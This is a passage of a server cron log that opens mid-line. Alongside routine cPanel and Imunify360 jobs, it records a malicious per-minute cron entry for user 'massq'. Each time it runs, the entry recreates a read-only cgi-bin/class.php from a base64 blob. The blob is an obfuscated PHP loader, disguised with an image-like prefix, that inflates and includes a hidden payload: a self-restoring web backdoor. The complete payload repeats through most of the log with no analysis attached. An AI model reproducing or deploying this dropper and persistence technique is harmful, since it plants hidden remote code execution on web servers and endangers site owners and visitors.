b1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:21:01 server CROND[6420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:22:01 server CROND[6804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:22:01 server CROND[6805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:22:01 server CROND[6806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:23:01 server CROND[7182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:23:01 server CROND[7183]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:23:01 server CROND[7184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:24:01 server CROND[7675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:24:01 server CROND[7676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:24:01 server CROND[7677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:25:01 server CROND[8075]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 10:25:01 server CROND[8083]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:25:01 server CROND[8087]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:25:01 server CROND[8089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:25:01 server CROND[8093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:25:01 server CROND[8096]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 10:25:01 server CROND[8094]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:25:01 server CROND[8095]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 10:26:01 server CROND[8907]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:26:01 server CROND[8908]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:26:01 server CROND[8909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:27:01 server CROND[9284]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 10:27:01 server CROND[9285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:27:01 server CROND[9286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:27:01 server CROND[9287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:28:01 server CROND[9654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:28:01 server CROND[9656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:28:01 server CROND[9655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:29:02 server CROND[10157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:29:02 server CROND[10158]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:29:02 server CROND[10159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:30:01 server CROND[10569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:30:01 server CROND[10570]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:30:01 server CROND[10571]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 10:30:01 server CROND[10573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:30:01 server CROND[10574]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 10:30:01 server CROND[10572]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 10:30:01 server CROND[10577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:30:01 server CROND[10576]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:31:01 server CROND[11404]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:31:01 server CROND[11405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:31:01 server CROND[11406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:32:01 server CROND[11828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:32:01 server CROND[11830]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:32:01 server CROND[11829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:33:01 server CROND[12217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:33:01 server CROND[12218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:33:01 server CROND[12219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:34:01 server CROND[12727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:34:01 server CROND[12728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
